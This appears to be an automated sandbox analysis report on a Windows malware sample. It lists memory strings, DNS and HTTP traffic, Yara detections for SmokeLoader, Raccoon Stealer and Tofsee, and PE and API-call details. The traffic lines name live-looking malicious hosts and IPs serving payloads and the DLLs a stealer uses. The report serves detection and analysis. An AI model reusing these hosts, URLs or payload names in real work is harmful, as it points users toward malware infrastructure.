Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000003.00000000.282684524.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 76BD.exe, 0000001C.00000000.391068277.0000000000282000.00000008.00020000.sdmp	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: 6A0A.exe, 00000019.00000002.545171464.000000000508A000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 6A0A.exe, 00000019.00000002.545171464.000000000508A000.00000004.00000001.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311518775.000002081025A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000B.00000003.311502485.0000020810260000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/9https://api.telegram.org/botGhttps://api.vimeworld.ru/user/name/1--------
Source: 66AE.exe, 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/ASOFTWARE
Source: svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000B.00000002.311878945.0000020810213000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000002.311935732.000002081023D000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311553226.0000020810256000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000B.00000003.311538300.0000020810240000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 0000000B.00000002.311921456.0000020810229000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
Source: svchost.exe, 0000000B.00000003.311492825.0000020810247000.00000004.00000001.sdmp	String found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen

Source: unknown

DNS traffic detected: queries for: readinglistforaugust1.xyz

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe

Code function: 25_2_0040B048 __EH_prolog3_GS,DeleteUrlCacheEntry,DeleteUrlCacheEntry,DeleteUrlCacheEntry,InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

25_2_0040B048

Source: global traffic	HTTP traffic detected: GET /reestr.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: GET /raccon.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: readinglistforaugust3.xyz
Source: global traffic	HTTP traffic detected: GET /@Rarenut0.exe HTTP/1.1Host: swretjhwrtj.gqConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /5.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.49.70.90:2080
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /CPU.exe HTTP/1.1Host: swretjhwrtj.gq
Source: global traffic	HTTP traffic detected: GET /GPU.exe HTTP/1.1Host: swretjhwrtj.gq
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 188.34.200.103Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736

Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90
Source: unknown	TCP traffic detected without corresponding DNS query: 185.49.70.90

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://readinglistforaugust3.xyz/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 212Host: readinglistforaugust3.xyz

Source: unknown

HTTPS traffic detected: 74.114.154.18:443 -> 192.168.2.3:49726 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 1.2.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.1.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.wshgiwf.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.t7p1ekMto0.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.311292534.00000000006A1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365865503.0000000002030000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.311232901.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.365919916.00000000022F1000.00000004.00000001.sdmp, type: MEMORY

Contains functionality to capture screen (.Net source)

Show sources

Source: AgileDotNetProtector.exe.24.dr, Reborn/Screen.cs

.Net Code: GetScreen

Source: 7DF2.exe, 0000001E.00000002.430760778.0000000002F2B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 23.0.6209.exe.4920e50.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.6209.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.0.6209.exe.4920e50.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.403838599.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.401300307.00000000049B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.408866213.0000000004920000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6209.exe PID: 2392, type: MEMORYSTR

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 30.2.7DF2.exe.2f00e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.7DF2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.3.7DF2.exe.4900000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.398935339.0000000004900000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7DF2.exe PID: 3464, type: MEMORYSTR

System Summary:

PE file contains section with special chars

Show sources

Source: 76BD.exe.3.dr	Static PE information: section name:
Source: 76BD.exe.3.dr	Static PE information: section name: \|

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 0_2_00403DEA	0_2_00403DEA
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_00402648	1_2_00402648
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402648	1_1_00402648
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_00402648	18_2_00402648
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_004543E9	25_2_004543E9
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00442489	25_2_00442489
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00465C58	25_2_00465C58
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0047E2EC	25_2_0047E2EC
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0042E315	25_2_0042E315
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00478400	25_2_00478400
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00468540	25_2_00468540
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_0045A50A	25_2_0045A50A
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_004165C4	25_2_004165C4
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00438589	25_2_00438589
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_004266AB	25_2_004266AB
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: 25_2_00478895	25_2_00478895
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: 30_2_0040C913	30_2_0040C913

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00401280 ShellExecuteExW,VirtualProtect,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

30_2_00401280

Source: t7p1ekMto0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: t7p1ekMto0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: t7p1ekMto0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: t7p1ekMto0.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 5AF4.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6209.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6209.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6209.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 6209.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 76BD.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7DF2.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7DF2.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7DF2.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 7DF2.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85C3.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85C3.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85C3.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 85C3.exe.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wshgiwf.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wshgiwf.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wshgiwf.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wshgiwf.3.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nruqclie.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nruqclie.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nruqclie.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: nruqclie.exe.30.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: t7p1ekMto0.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: String function: 00404694 appears 125 times
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: String function: 00401016 appears 50 times
Source: C:\Users\user\AppData\Local\Temp\6A0A.exe	Code function: String function: 0042A1DD appears 40 times
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: String function: 02F02794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\7DF2.exe	Code function: String function: 00402544 appears 53 times

Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_0040197F Sleep,NtTerminateProcess,	1_2_0040197F
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_0040198A Sleep,NtTerminateProcess,	1_2_0040198A
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_0040199C Sleep,NtTerminateProcess,	1_2_0040199C
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_004019A0 Sleep,NtTerminateProcess,	1_2_004019A0
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_2_004019B1 Sleep,NtTerminateProcess,	1_2_004019B1
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402048 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,NtQuerySystemInformation,NtQuerySystemInformation,LocalFree,	1_1_00402048
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402067 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402067
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402075 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402075
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_00402078 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	1_1_00402078
Source: C:\Users\user\Desktop\t7p1ekMto0.exe	Code function: 1_1_004021C1 NtQuerySystemInformation,NtQuerySystemInformation,LocalFree,	1_1_004021C1
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_0040197F Sleep,NtTerminateProcess,	18_2_0040197F
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_0040198A Sleep,NtTerminateProcess,	18_2_0040198A
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_0040199C Sleep,NtTerminateProcess,	18_2_0040199C
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_004019A0 Sleep,NtTerminateProcess,	18_2_004019A0
Source: C:\Users\user\AppData\Roaming\wshgiwf	Code function: 18_2_004019B1 Sleep,NtTerminateProcess,	18_2_004019B1

Source: C:\Users\user\AppData\Local\Temp\7DF2.exe

Code function: 30_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

30_2_00408E26

Source: .dll.24.dr	Static PE information: Section: .reloc IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: .dll.24.dr	Static PE information: Section: .reloc IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: .dll.24.dr	Static PE information: Section: .reloc IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: .dll.24.dr	Static PE information: Section: .reloc IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: t7p1ekMto0.exe	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 6209.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 66AE.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 7DF2.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 85C3.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
